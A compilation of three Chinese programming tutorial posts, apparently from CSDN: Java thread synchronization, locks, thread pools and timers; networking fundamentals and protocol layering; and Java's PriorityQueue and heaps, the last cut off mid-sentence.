}}output:小红成功取出了100000.0元小明成功取出了100000.0元小明取款后剩余:-100000.0小红取款后剩余:0.0线程同步同步思想概述线程同步为了解决线程安全问题取钱案例出现问题的原因?多个线程同时执行,发现钱都是够的。如何才能保证线程安全呢?让多个线程实现先后依次访问共享资源,这样就解决了安全问题线程同步的核心思想加锁,把共享资源进行上锁,每次只能一个线程进入,访问完毕后解锁,然后其他线程才能进来。方式一:同步代码块作用:把出现线程安全问题的核心代码给上锁。原理:每次只能一个线程进入,执行完毕后自动解锁,其他线程才可以进来执行。synchronized(同步锁对象){ 操作共享资源的代码(核心代码)}锁对象要求理论上:锁对象只要对于当前同时执行的线程来说是同一个对象即可。/** 小红小明在此取钱 */public void drawMoney(double money) { //看谁来这里取钱 String name = Thread.currentThread().getName(); // 同步代码块 // 小明 小红 // this == acc 共享账户 synchronized (this) { //判断余额是否足够 if (this.money>=money){ //取钱 System.out.println(name+"取钱成功,本次取款:"+money); //更新余额 this.money-=money; System.out.println(name+"取款后,剩余:"+this.money); }else { System.out.println(name+"取款余额不足!"); } }}锁对象用任意唯一的对象好不好呢?不好,会影响其他无关线程的执行。锁对象的规范要求规范上:建议使用共享资源作为锁对象对于实例方法建议使用this作为锁对象。对于静态方法,建议使用字节码(类名.class)对象作为锁对象/** 假设100个人来调用这个方法, */public static void run(){ synchronized (Account.class){ //这样每次就只能有一个人来调用 }}方式二:同步方法作用:把出现线程安全问题的核心方法给上锁原理:每次只能进入一个线程,执行完毕后自动解锁,其他线程才可以进来执行。格式:修饰符 synchronized 返回值类型 方法名称(形参列表){ 操作共享资源}public synchronized void drawMoney(double money) { String name = Thread.currentThread().getName(); if (this.money>=money){ System.out.println(name+"取钱成功!取了"+money+"元"); //更新余额 this.money-=money; System.out.println(name+"取款后剩余"+this.money); }else { System.out.println(name+"余额不足!"); }}同步方法底层原理同步方法其实底层也是有隐式锁对象的,只是锁的范围是整个方法代码如果方法是实例方法:同步方法默认用this作为锁对象,但是代码要高度面向对象如果方法是静态方法:同步方法默认用类名.class作为锁的对象。是同步代码块好还是同步方法好一点?同步代码块锁的范围更小,同步方法锁的范围更大Lock锁为了更清晰的表达如何加锁和释放锁,JDK5以后提供了一个新的锁对象Lock,更加灵活、方便Lock实现提供比使用synchronized方法和语句可以获得更广泛的锁定操作Lock是接口不能直接实例化,这里采用它的实现类ReentrantLock来构建Lock锁对象方法名称 说明public ReentrantLock() 获得Lock锁的实现类对象Lock的API方法名称 说明void lock 获得锁void unlock 释放锁public class Account { private String cardId; private double money;//余额 // final修饰后:锁对象是唯一和不可替换的 private final Lock lock = new ReentrantLock(); public Account() { } public Account(String cardId, double money) { this.cardId = cardId; this.money = money; } public String getCardId() { return cardId; } public void setCardId(String cardId) { this.cardId = cardId; } public double getMoney() { return money; } public void setMoney(double money) { this.money = money; } public void drawMoney(double money) { String name = Thread.currentThread().getName(); lock.lock();//上锁 try { if (this.money >= money) { System.out.println(name + "取钱成功!取了" + money + "元"); //更新余额 this.money -= money; System.out.println(name + "取款后剩余" + this.money); } else { System.out.println(name + "余额不足!"); } } finally { lock.unlock();//释放锁 } }}线程通信什么是线程通信?如何实现?所谓线程通信就是线程间相互发送数据。线程通信常见形式通过共享一个数据的方式实现。根据共享数据的情况决定自己该怎么做,以及通知其他线程怎么做。线程通信实际应用模型生产者与消费者模型:生产者线程负责生产数据,消费者线程负责消费生产者产生的数据一般要求:生产者线程生产完数据后唤醒消费者,然后等待自己,消费者消费完数据后唤醒生产者,然后等待自己。线程通信案例模拟模拟手机接电话系统,有电话就接听,没有电话就等待、线程通信的前提:线程通信通常是在多个线程操作同一个共享资源的时候需要进行通信,切要保证线程安全。/** 模拟线程通信,来电提醒线程, 接电话线程 */public class Phone { private boolean flag = false; public void run(){ //a,负责来电提醒的线程 new Thread(new Runnable() { @Override public void run() { try { while (true) { synchronized (Phone.this){ if (!flag){ //代表有来电提醒 System.out.println("有电话正在呼入!!"); flag = true;//代表继续等待呼入电话 Phone.this.notify(); Phone.this.wait(); } } } } catch (Exception e) { e.printStackTrace(); } } }).start(); //b,负责接电话线程,正式接听了 new Thread(new Runnable() { @Override public void run() { try { //不断的接听电话 while (true) { synchronized (Phone.this){ if (flag){ //可以接听电话了 System.out.println("电话接听中,通话了5分钟结束了!"); flag = false;//代表继续等待呼入电话 Thread.sleep(5000); //唤醒别人,等待自己 Phone.this.notify(); Phone.this.wait(); } } } } catch (Exception e) { e.printStackTrace(); } } }).start(); } public static void main(String[] args) { //1,创建一部手机对象 Phone huawei = new Phone(); huawei.run(); }}output:有电话正在呼入!!电话接听中,通话了5分钟结束了!有电话正在呼入!!电话接听中,通话了5分钟结束了!Object类的等待和唤醒方法:方法名称 说明void wait() 让当前线程等待并释放所占锁,直到另一个线程调用notify()方法或notifyAll()方法void notify() 唤醒正在等待的单个线程void notifyAll() 唤醒正在等待的所有线程注意:上述方法应该使用当前同步锁对象进行调用线程池线程池概述什么是线程池?线程池就是一个可以复用线程的技术。不使用线程池的问题如果用户每发起一个请求,后台就创建一个新的线程来处理,下次新任务来了又要创建新线程,而创建新线程的开销是很大的,这样会严重影响系统的性能。线程池实现的API、参数说明谁代表线程池?JDK5.0起提供了线程池的接口:ExecutorService如何得到线程池对象方式一:使用ExecutorService的实现类ThreadPoolExecutor自创建一个线程池对象方式二:使用Executors(线程池的工具类)调用方法返回不同特点的线程池对象ThreadPoolExecutor构造器的参数说明线程池常见面试题临时线程什么时候创建?新任务提交时发现核心线程都在忙,任务队列也满了,并且还可以创建临时线程,此时才会创建临时线程。什么时候会开始拒绝任务?核心线程和临时线程都在忙,任务队列也满了,新的任务过来的时候才会开始任务拒绝。小结谁代表线程池?ExecutorService接口ThreadPoolExecutor实现线程池对象的七个参数是什么意思?线程池处理Runnable任务ThreadPoolExecutor创建线程池对象示例ExecutorService1ExecutorService的常用方法方法名称 说明void execute(Runnable command) 执行任务/命令,没有返回值,一般用来执行 Runnable任务Future submit(Callable task) 执行任务,返回未来任务对象获取线程结果,一般拿来执行Callable任务void shutdown() 等任务执行完毕后关闭线程池List shutdownNow() 立刻关闭,停止正在执行的任务,并返回队列中未执行的任务新任务拒绝策略策略 详解ThreadPoolExecutor.AbortPolicy 丢弃任务并抛出RejectedExecutionException异常。是默认的策略ThreadPoolExecutor.DiscardPolicy 丢弃任务,但是不抛出异常 这是不推荐的做法ThreadPoolExecutor.DiscardOldestPolicy 抛弃队列中等待最久的任务 然后把当前任务加入队列ThreadPoolExecutor.CallerRunsPolicy 由主线程负责调用任务的run()方法从而绕过线程池直接执行public class MyRunnable implements Runnable { @Override public void run() { for (int i = 1; i <= 5; i++) { System.out.println(Thread.currentThread().getName() + "输出了:HelloWorld ==>" + i); } try { System.out.println(Thread.currentThread().getName()+"本任务与线程绑定了,线程进入休眠了"); Thread.sleep(5000000); } catch (Exception e) { e.printStackTrace(); } }}/** 自定义一个线程池对象并测试其特性 */public class ThreadPoolDemo1 { public static void main(String[] args) { //1.创建线程池对象 /** public ThreadPoolExecutor( int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) { */ ExecutorService pool = new ThreadPoolExecutor(3,5, 6, TimeUnit.SECONDS,new ArrayBlockingQueue<>(5), Executors.defaultThreadFactory(),new ThreadPoolExecutor.AbortPolicy()); //2.给任务线程池处理 Runnable target = new MyRunnable(); pool.execute(target); pool.execute(target); pool.execute(target); pool.execute(target); pool.execute(target); pool.execute(target); pool.execute(target); pool.execute(target); //创建临时线程 pool.execute(target); pool.execute(target); //不创建,拒绝策略被触发 pool.execute(target); //关闭线程池(开发中一般不会使用) pool.shutdownNow();//立即关闭,即使任务没有完成,会丢失任务 pool.shutdown();// 会等待全部任务执行完毕之后再关闭 }}output:pool-1-thread-2输出了:HelloWorld ==>1pool-1-thread-2输出了:HelloWorld ==>2pool-1-thread-2输出了:HelloWorld ==>3pool-1-thread-2输出了:HelloWorld ==>4pool-1-thread-3输出了:HelloWorld ==>1pool-1-thread-2输出了:HelloWorld ==>5pool-1-thread-1输出了:HelloWorld ==>1pool-1-thread-1输出了:HelloWorld ==>2pool-1-thread-1输出了:HelloWorld ==>3pool-1-thread-3输出了:HelloWorld ==>2pool-1-thread-3输出了:HelloWorld ==>3pool-1-thread-3输出了:HelloWorld ==>4pool-1-thread-3输出了:HelloWorld ==>5pool-1-thread-1输出了:HelloWorld ==>4pool-1-thread-1输出了:HelloWorld ==>5pool-1-thread-2本任务与线程绑定了,线程进入休眠了pool-1-thread-3本任务与线程绑定了,线程进入休眠了pool-1-thread-1本任务与线程绑定了,线程进入休眠了pool-1-thread-4输出了:HelloWorld ==>1pool-1-thread-4输出了:HelloWorld ==>2pool-1-thread-4输出了:HelloWorld ==>3pool-1-thread-4输出了:HelloWorld ==>4pool-1-thread-4输出了:HelloWorld ==>5pool-1-thread-4本任务与线程绑定了,线程进入休眠了pool-1-thread-5输出了:HelloWorld ==>1pool-1-thread-5输出了:HelloWorld ==>2pool-1-thread-5输出了:HelloWorld ==>3pool-1-thread-5输出了:HelloWorld ==>4pool-1-thread-5输出了:HelloWorld ==>5pool-1-thread-5本任务与线程绑定了,线程进入休眠了Exception in thread "main" java.util.concurrent.RejectedExecutionException: Task Thread[Thread-0,5,main] rejected from java.util.concurrent.ThreadPoolExecutor@378bf509[Running, pool size = 5, active threads = 5, queued tasks = 5, completed tasks = 0]线程池处理Callable任务public class MyCallable implements Callable<String> { private int n; public MyCallable(int n) { this.n = n; } @Override public String call() throws Exception { int sum = 0; for (int i = 0; i < n; i++) { sum += i; } return Thread.currentThread().getName() + "执行1-" + n + "的结果是:" + sum; }}public class ThreadPoolDemo2 { public static void main(String[] args)throws Exception { //1.创建线程池对象 /** public ThreadPoolExecutor( int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) { */ ExecutorService pool = new ThreadPoolExecutor(3,5, 6, TimeUnit.SECONDS,new ArrayBlockingQueue<>(5), Executors.defaultThreadFactory(),new ThreadPoolExecutor.AbortPolicy()); //2.给任务线程池处理 Future<String> f1 = pool.submit(new MyCallable(100)); Future<String> f2 = pool.submit(new MyCallable(200)); Future<String> f3 = pool.submit(new MyCallable(300)); Future<String> f4 = pool.submit(new MyCallable(400)); Future<String> f5 = pool.submit(new MyCallable(500));// String rs = f1.get();// System.out.println(rs); System.out.println(f1.get()); System.out.println(f2.get()); System.out.println(f3.get()); System.out.println(f4.get()); System.out.println(f5.get()); }}output:pool-1-thread-1执行1-100的结果是:4950pool-1-thread-2执行1-200的结果是:19900pool-1-thread-3执行1-300的结果是:44850pool-1-thread-2执行1-400的结果是:79800pool-1-thread-3执行1-500的结果是:124750线程池如何处理Callable任务,并得到任务执行完后返回的结果使用ExecutorService的方法:Future submit(Callable command)Executors工具类实现线程池Executors:线程池的工具类通过调用方法返回不同类型的线程池对象。方法名称 说明public static ExecutorService newCachedThreadPool() 线程数量随着任务增加而增加,如果线程任务执行完毕且空闲了一段时间会被回收掉public static ExecutorService newFixedThreadPool(int nThreads) 创建固定线程数量的线程池,如果某个线程因为它执行异常而结束,那么线程池会补充一个新线程替代它public static ExecutorService newSingleThreadExecutor ( ) 创建只有一个线程的线程池对象,如果该线程出现异常而结束,那么线程池就会补充一个新线程public static ScheduledExecutorService newScheduledThreadPool(int corePoolSize) 创建一个线程池,可以实现在给定的延迟后运行任务,或者定期执行任务注意:Executors的底层其实也是基于线程池的实现类ThreadPoolExecutor创建线程池对象的public class ThreadPoolDemo3 { public static void main(String[] args) { //1.创建固定线程数的线程池 ExecutorService pool = Executors.newFixedThreadPool(3); pool.execute(new MyRunnable()); pool.execute(new MyRunnable()); pool.execute(new MyRunnable()); pool.execute(new MyRunnable()); }}output:pool-1-thread-1输出了:HelloWorld ==>1pool-1-thread-1输出了:HelloWorld ==>2pool-1-thread-3输出了:HelloWorld ==>1pool-1-thread-3输出了:HelloWorld ==>2pool-1-thread-3输出了:HelloWorld ==>3pool-1-thread-3输出了:HelloWorld ==>4pool-1-thread-3输出了:HelloWorld ==>5pool-1-thread-1输出了:HelloWorld ==>3pool-1-thread-1输出了:HelloWorld ==>4pool-1-thread-1输出了:HelloWorld ==>5pool-1-thread-2输出了:HelloWorld ==>1pool-1-thread-2输出了:HelloWorld ==>2pool-1-thread-2输出了:HelloWorld ==>3pool-1-thread-2输出了:HelloWorld ==>4pool-1-thread-2输出了:HelloWorld ==>5pool-1-thread-3本任务与线程绑定了,线程进入休眠了pool-1-thread-1本任务与线程绑定了,线程进入休眠了pool-1-thread-2本任务与线程绑定了,线程进入休眠了Executors使用可能存在的陷阱大型并发系统环境中使用Executors如果不注意可能会出现系统风险Executors工具类底层是基于什么方式实现的线程池对象?线程池ExecutorService的实现类:ThreadPoolExecutorExecutors是否适合做大型互联网场景的线程池方案?不合适建议使用ThreadPoolExecutor来指定线程池参数,这样可以明确线程池的运行规则,规避资源耗尽的风险定时器定时器是一种控制任务延时调用,或者周期调用的技术作用:闹钟、定时邮件发送、定时弹送广告定时器的实现方法方式一:Timer方式二:ScheduledExecutorServiceTimer定时器构造器 说明public Timer() 创建Timer定时器对象方法 说明public void schedule(TimerTask task, long delay , long period) 开启一个定时器,按照计划处理TimerTask任务Timer定时器的特点和存在的问题Timer是单线程,处理多个任务按照顺序进行,存在延时与设置定时器的时间有出入。可能因为其中的某个任务的异常使Timer线程死掉,从而影响后续任务执行public class TimerDemo01 { public static void main(String[] args) { //1.创建Timer定时器 Timer timer = new Timer();//定时器本身就是一个单线程 //2.调用方法,处理定时任务 timer.schedule(new TimerTask() { @Override public void run() { System.out.println(Thread.currentThread().getName() + "定时器AAA开始执行一次" + new Date()); try { Thread.sleep(5000); } catch (InterruptedException e) { e.printStackTrace(); } } }, 0, 2000); timer.schedule(new TimerTask() { @Override public void run() { System.out.println(Thread.currentThread().getName() + "定时器BBB开始执行一次" + new Date()); System.out.println(10 / 0); } }, 0, 2000); timer.schedule(new TimerTask() { @Override public void run() { System.out.println(Thread.currentThread().getName() + "定时器CCC开始执行一次" + new Date()); } }, 0, 2000); }}output:Timer-0定时器AAA开始执行一次Sat Jan 22 23:26:42 CST 2022Timer-0定时器BBB开始执行一次Sat Jan 22 23:26:47 CST 2022Exception in thread "Timer-0" java.lang.ArithmeticException: / by zeroat com.csl.d8_timer.TimerDemo01$2.run(TimerDemo01.java:28)at java.base/java.util.TimerThread.mainLoop(Timer.java:556)at java.base/java.util.TimerThread.run(Timer.java:506)ScheduledExecutorService定时器ScheduledExecutorService是jdk 1.5中引入了并发包,目的是为了弥补Timer的缺陷,ScheduledExecutorService内部为线程池Executors方法 说明public static ScheduledExecutorService newScheduledThreadPool(int corePoolSize) 得到线程池对象ScheduledExecutorService的方法 说明public ScheduledFuture<?> scheduleAtFixedRate(Runnable command, long initialDelay, long period , TimeuUnit unit) 周期调度方法ScheduledExecutorService的优点基于线程池,某个任务的执行情况不会影响其他定时任务的执行。public class TimerDemo2 { public static void main(String[] args) { //1.创建ScheduledExecutorService线程池,做定时器 ScheduledExecutorService pool = Executors.newScheduledThreadPool(3); //2.开启定时任务 pool.scheduleAtFixedRate(new TimerTask() { @Override public void run() { System.out.println(Thread.currentThread().getName() + "执行输出:AAA"); try { Thread.sleep(100000); } catch (Exception e) { e.printStackTrace(); } } }, 0, 2, TimeUnit.SECONDS); pool.scheduleAtFixedRate(new TimerTask() { @Override public void run() { System.out.println(Thread.currentThread().getName() + "执行输出:BBB"); System.out.println(10 / 0); } }, 0, 2, TimeUnit.SECONDS); pool.scheduleAtFixedRate(new TimerTask() { @Override public void run() { System.out.println(Thread.currentThread().getName() + "执行输出:CCC"); } }, 0, 2, TimeUnit.SECONDS); }}output:pool-1-thread-2执行输出:BBBpool-1-thread-3执行输出:CCCpool-1-thread-1执行输出:AAApool-1-thread-3执行输出:CCCpool-1-thread-3执行输出:CCCpool-1-thread-2执行输出:CCC线程并发与并行正在运行的程序(软件) 就是一个独立的进程,线程是属于进程的,多个线程其实是并发与并行同时进行的并发的理解CPU同时处理线程的数量有限CPU会轮询为系统的每个线程服务,由于CPU切换的速度很快,给我们的感觉这些线程在同时执行,这就是并发。并行的理解在同一个时刻上,同时有多个线程在被CPU处理并执行————————————————原文链接:https://blog.csdn.net/qq_46002941/article/details/122646052
-
1,网络发展史1)独立模式我们刚开始使用计算机呢,客户端的数据不是共享的,如果有一个人想要办理业务,而这个业务所需的资源是在三台电脑上,那么这个人就需要在这三个电脑上不断的办理任务,而其他人想要办理业务,还需要等到前一个人办理完,效率非常低,那怎么办,我们就改进;2)网络互联接下来我们就使用网络进行计算机资源的共享,让多个计算机可以一起办理业务,达成数据共享,即网络通信,我们可以根据网络互联的规模分为局域网和广域网;3)局域网LAN局域网是本地,局部构建的一种私有网络,又被称为内网,局域网内的主机能够实现网络通信,局域网和局域网在没有连接的情况是不能进行通信的;组件局域网等待方式也有很多种,可以通过网线直连,也可以通过交换机相连,还可以通过集线器相连,还可以通过路由器连接交换机在与多个主机相连;4)广域网WAN广域网就是多个局域网完成了连接,很多很多的局域网都能进行网络通信,我们其实可以把咱们中国的网络看成一个巨大的广域网,我们管内部叫做内网,外面的就是我们常说的外网,有很多人可能对此不满,但这也是保护我们的一种方式,起码我们活的挺快乐的;不说了,再说被封了,哈哈哈哈哈哈;2,网络通信基础1)IP地址那么,广域网这么大,我们怎么能准确找到每个主机的所在呢,我们就使用IP地址来标识每个网络主机和网络设备的网络地址,我们可以通过CMD看自己主机的地址,输入这个命令ipconfig,就能看到了,那个IPv4地址就是我们的地址啦;2)端口号端口是啥玩意,我们有了地址,那么电脑发送或者我们接收了一个数据,难道我们只是通过地址就能知道吗,我们知道了地址,但不知道是哪个软件发送或者接收这个数据,比如发来一个QQ的数据报,那我们去给CSDN吗,不,我们应该是找到QQ的端口号,之后把这个数据给到QQ,让QQ来做相应的操作;我们可以把网络通信可以看成送快递,我们把IP地址看作收货地址,把端口号看作收件人;3)认识协议我们现在能找到地址和端口号了,我们网络传输的是二进制的数据,那么我们传入一段二级制指令,对方是怎么知道我们传的是什么东西呢,之前说过,图片,音频和视频都是二进制的指令,我们到一个数据报,我们怎么知道这是啥文件呢,去使用什么编码方式呢,所以就需要大家都统一一下,我们就约定网络传输的格式,我们就管它叫协议;协议的最终体现呢,就是网络传输数据报的格式;4)五元组在TCP/IP协议中,我们使用五元组来标识网络通信:1,源IP:标识源主机2,源端口号:标识源主机中该次通信发送的进程3,目的IP:标识目的主机4,目的端口号:标识源主机中该次通信接收的进程5,协议号:标识发送进程和接收进程双方约定的格式5)协议分层啥事协议分层呢,我们的协议很多,很复杂,我们把它分为不同层次的协议,让每个协议尽可能有自己的功能,OSI七层模型和TCP/IP五层模型,都把每层划分了很多不同的功能;OSI七层调用模型:层数 名称 功能 功能概览7 应用层 针对特定应用的协议 比如我们发送邮件,就用电子邮件协议,实现登录,就要使用登录协议6 表示层 数据固有格式和网络标准格式的转换 我们将接收的信息会根据网络标准格式转换为标准的信息5 会话层 通讯管理,负责建立和断开通讯 何时建立连接,何时断开连接和建立多久的连接;4 传输层 管理两个节点之间的数据传输,负责可靠传输 检查是否有数据丢失3 网络层 地址管理与路由选择 会考虑经过哪些路由到达地址2 数据链路层 互联数据的传送和识别数据帧 .....数据帧和比特流之间的转换1 物理层 以‘0’,‘1’代表电压高低,灯光闪灭,界定连接器和网线的规格 比特流与电子信号的转换这个我们大概了解即可,我们也是从网上扒下来的,我们会重点去学习应用层; TCP/IP通讯协议:TCP/IP模型其实就是OSI七层协议模型,只不过把OSI重新划分了一下,TCP/IP通讯协议采用五层的层级结构,每一层都可以呼叫下一层来给自己提供网络需求;5层,应用层:负责应用程序间沟通,如简单电⼦邮件传输(SMTP)、文件传输协议(FTP)、网络远 程访问协议(Telnet)等。我们的⽹络编程主要就是针对应⽤层。4层,传输层:负责两台主机之间的数据传输。如传输控制协议(TCP),能够确保数据可靠的从源主机发 送到⽬标主机,还有UDP。3层,网络层:负责地址管理和路由选择。例如在IP协议中,通过IP地址来标识⼀台主机,并通过路由表 的⽅式规划出两台主机之间的数据传输的线路(路由)。路由器(Router)⼯作在⽹路层。2层,数据链路层:负责设备之间的数据帧的传送和识别。例如网卡设备的驱动、帧同步(就是说从⽹线上 检测到什么信号算作新帧的开始)、冲突检测(如果检测到冲突就⾃动重发)、数据差错校验等⼯作。 有以太⽹、令牌环网,⽆线LAN等标准。交换机(Switch)工作在数据链路层。1层,物理层:负责光/电信号的传递方式。比如现在以太网通用的网线(双绞线)、早期以太网采用的的同 轴电缆(现在主要⽤于有线电视)、光纤,现在的wifi无线网使用电磁波等都属于物理层的概念。物理 层的能力决定了最大传输速率、传输距离、抗干扰性等。集线器(Hub)工作在物理层。这也是扒来的,下面我用自己的理解讲讲:——————5,应用层:就是我们拿到了包裹(数据包)后怎么样~4,传输层:任意两个设备的通信,不考虑传输过程,只考虑起点和终点;3,网络层:任意两个设备的通信,考虑中间的过程,传输过程可能有很多的交换机啥的;2,数据链路层:完成相邻两个设备之间的通信;1,物理层:规定网络通信中一些硬件设施的符合要求:我们拿送快递来举一个例子,比如我们网购一个手机,我们拿到手机之后怎么使用,就是应用层;商家发货的寄件方后收件方的地址,就是传输层;物流公司关心包裹是咋传输的,就是网络层;大车司机关心今天送到哪个地方,一个一个节点之间,就是数据链路层;TCP/IP协议栈其实里面包含了很多协议,但是最重要的就是TCP/IP协议了,我们再来谈谈主机,交换机和路由器都涉及到哪些层次:1,主机 工作涉及到 物理层到应用层(通过应用层满足数网络通信的要求);2,路由器 工作涉及 物理层到网路层(组件局域网,进行网络数据报的转发);3,交换机 工作涉及到 物理层到数据链路层(对路由器接口的扩展,不需要考虑组网问题);3,网络通信基本流程不同的协议层对数据包有不同的叫法,在传输层叫段,在网络层叫数据报,在数据链路层叫数据帧;应用层数据包,往往是结构化数据:我们发送数据的时候,会把结构化数据变成二进制比特流或者字符串,我们叫做序列化;我们接收数据的时候,会把二进制比特流或者字符串变成结构化数据,我们叫做反序列化;流程:我们使用QQ,发送Hello给对方;1,应用程序获取用户输入,构造一个应用层数据包,会遵守应用层协议(往往是程序员自己定制的)我们假设约定的格式为(发送者QQ,接收着QQ,消息时间,消息正文);2,应用层调用传输层API(socket api)把数据交给传输层,把数据拿到后,构造出传输层数据包,传输层的协议主要就是TCP和UDP;我们拿TCP数据包举例,TCP数据包 = TCP报头(TCP功能的相关属性) + TCP载荷(就是应用层的数据包);数据包就变成这样的了; 3,传输层数据包构造好之后,就会调用网络层的API,把传输层的数据包交给网络层,网络层来处理数据包,网络最重要的协议,IP协议我们又会加一个IP报头,IP数据包 = IP报头(包含很多信息,包括源IP和目的IP) + IP载荷(整个传输层的数据包);在这些报头中还包含了上一层所用协议的内容,4,IP协议继续调用数据链路层的API,把IP协议交给数据链路层,数据链路层的核心协议,以太网,根据以太网这个协议会在网络层的基础上进一步加工以太网数据帧 = 帧头 + 载荷 + 帧尾5,以太网继续把数据帧给硬件设备(网卡)网卡会把二进制的比特流发送出去,这才成功的发送出去 。发送数据我们我们从上到下的过程我们称为封住,反过来接收数据的时候我们从下到下的过程我们称为复用;———————————————— 原文链接:https://blog.csdn.net/2301_79083481/article/details/146917352
-
引言在开发中,尤其是需要处理大量数据或者进行任务调度的场景下,如何高效地管理数据的顺序和优先级是一个至关重要的问题。Java 提供了优先级队列(PriorityQueue),它基于堆(Heap)实现,能够以高效的方式管理数据的优先级。在本文中,我们将深入探讨优先级队列的工作原理,特别是堆的作用,并通过示例代码帮助你更好地理解其应用。一、什么是优先级队列?优先级队列(Priority Queue)是一种队列数据结构,其中每个元素都包含一个优先级,队列总是按元素的优先级顺序进行排序。与普通队列(先进先出 FIFO)不同,优先级队列确保每次从队列中移除的元素是具有最高优先级的元素。有些场景下,使⽤队列显然不合适,⽐如:在⼿机上玩游戏的时候,如果有来电,那么系统应该优先处理打进来的电话;初中那会班主任排座位时可能会让成绩好的同学先挑座位。在 Java 中,PriorityQueue 是基于堆的实现。堆是一种特殊的二叉树结构,满足特定的顺序性质:最大堆保证每个父节点的值大于等于其子节点的值,而最小堆则相反。二、堆的基本原理JDK1.8中的PriorityQueue底层使⽤了堆这种数据结构,⽽堆实际就是在完全⼆叉树的基础上进⾏了⼀些调整。具有以下特点:对于最大堆,父节点的值始终大于或等于子节点的值;对于最小堆,父节点的值始终小于或等于子节点的值。2.1 堆的概念如果有⼀个关键码的集合K = {k0,k1, k2,…,kn-1},把它的所有元素按完全⼆叉树的顺序存储⽅式存储在⼀个⼀维数组中,并满⾜:Ki <= K2i+1 且 Ki<= K2i+2 (Ki >= K2i+1 且 Ki >= K2i+2) i = 0,1,2…,则称为⼩堆(或⼤堆)。Java 中的 PriorityQueue 默认是最小堆,也就是说队列中最小的元素将具有最高的优先级。堆的性质:• 堆中某个节点的值总是不⼤于或不⼩于其⽗节点的值;• 堆总是⼀棵完全⼆叉树。2.2 堆的存储⽅式从堆的概念可知,堆是⼀棵完全⼆叉树,因此可以层序的规则采⽤顺序的⽅式来⾼效存储,注意:对于⾮完全⼆叉树,则不适合使⽤顺序⽅式进⾏存储,因为为了能够还原⼆叉树,空间中必须 要存储空节点,就会导致空间利⽤率⽐较低。将元素存储到数组中后,可以根据⼆叉树章节的性质5对树进⾏还原。假设i为节点在数组中的下标,则有:• 如果i为0,则i表⽰的节点为根节点,否则i节点的双亲节点为 (i - 1)/2• 如果2 * i + 1 ⼩于节点个数,则节点i的左孩⼦下标为2 * i + 1,否则没有左孩⼦• 如果2 * i + 2 ⼩于节点个数,则节点i的右孩⼦下标为2 * i + 2,否则没有右孩⼦三、堆操作时间复杂度操作类型 描述 时间复杂度插入元素 使用 add() 或 offer() 方法插入元素 O(log n)删除最小元素 使用 poll() 方法移除并返回最小元素 O(log n)查看最小元素 使用 peek() 方法返回堆顶元素而不移除 O(1)获取堆大小 使用 size() 方法返回当前堆的元素数量 O(1)3.1 建堆的时间复杂度因为堆是完全⼆叉树,⽽满⼆叉树也是完全⼆叉树,此处为了简化使⽤满⼆叉树来证明(时间复杂度本来看的就是近似值,多⼏个节点不影响最终结果):因此:建堆的时间复杂度为O(N)。四、PriorityQueue 的基本操作1. PriorityQueue中放置的元素必须要能够⽐较⼤⼩,不能插⼊⽆法⽐较⼤⼩的对象,否则会抛出 ClassCastException异常2. 不能插⼊null对象,否则会抛出NullPointerException3. 没有容量限制,可以插⼊任意多个元素,其内部可以⾃动扩容4. 插⼊和删除元素的时间复杂度为5. PriorityQueue底层使⽤了堆数据结构6. PriorityQueue默认情况下是⼩堆—即每次获取到的元素都是最⼩的元素4.1 插⼊/删除/获取优先级最⾼的元素注意:优先级队列的扩容说明:• 如果容量⼩于64时,是按照oldCapacity的2倍⽅式扩容的• 如果容量⼤于等于64,是按照oldCapacity的1.5倍⽅式扩容的•如果容量超过MAX_ARRAY_SIZE,按照MAX_ARRAY_SIZE来进⾏扩容五、 构造一个最小堆的优先级队列import java.util.PriorityQueue;public class PriorityQueueExample { public static void main(String[] args) { // 创建一个最小堆 PriorityQueue<Integer> pq = new PriorityQueue<>(); // 添加元素 pq.add(10); pq.add(5); pq.add(15); pq.add(7); // 打印并移除元素 while (!pq.isEmpty()) { System.out.println(pq.poll()); // 依次输出 5, 7, 10, 15 } }}输出:5710151234在这个示例中,PriorityQueue 自动按照最小堆的规则对元素进行排序。每次调用 poll() 方法时,队列中优先级最高的元素(即最小的元素)会被移除。六、 自定义优先级假设我们有一个包含多个任务的列表,每个任务有一个优先级,我们希望按优先级顺序处理这些任务。我们可以通过实现 Comparator 接口来自定义优先级。import java.util.PriorityQueue;import java.util.Comparator;class Task { String name; int priority; public Task(String name, int priority) { this.name = name; this.priority = priority; } @Override public String toString() { return name + " (Priority: " + priority + ")"; }}public class CustomPriorityQueueExample { public static void main(String[] args) { // 自定义Comparator,按优先级降序排列 PriorityQueue<Task> pq = new PriorityQueue<>(new Comparator<Task>() { @Override public int compare(Task t1, Task t2) { return Integer.compare(t2.priority, t1.priority); // 优先级高的排前面 } }); // 添加任务 pq.add(new Task("Task 1", 3)); pq.add(new Task("Task 2", 5)); pq.add(new Task("Task 3", 1)); pq.add(new Task("Task 4", 4)); // 打印并移除任务 while (!pq.isEmpty()) { System.out.println(pq.poll()); } }}输出:Task 2 (Priority: 5)Task 4 (Priority: 4)Task 1 (Priority: 3)Task 3 (Priority: 1)在这个例子中,PriorityQueue 被用来管理多个任务,并按照任务的优先级(从高到低)排序。. 自定义优先级示例代码解释步骤 代码示例 说明创建优先级队列 PriorityQueue<Task> pq = new PriorityQueue<>(new Comparator<Task>() {...}); 创建一个带有自定义排序规则的优先级队列,按优先级降序排序添加任务 pq.add(new Task("Task 1", 3)); 向队列中添加一个新任务打印任务 System.out.println(pq.poll()); 输出并移除队列中的优先级最高(优先级最大)的任务七、常见堆的应用场景应用场景 说明 示例任务调度 根据任务的优先级执行任务,堆帮助管理和调度任务顺序 操作系统的调度程序,网络请求调度器合并多个有序数据流 使用堆合并多个已排序的数据流,维持整体有序性 合并 k 个有序链表、流式数据处理实时数据处理 动态地从数据流中获取最小/最大值 获取最近的数据流中的最大值/最小值,实时计算排名前N的元素最短路径算法 在图算法(如 Dijkstra 算法)中,用堆优化路径的计算 Dijkstra 算法,最短路径计算中的优先级队列K 个最大元素问题 找出数组中最大的 K 个元素 求数组中前 K 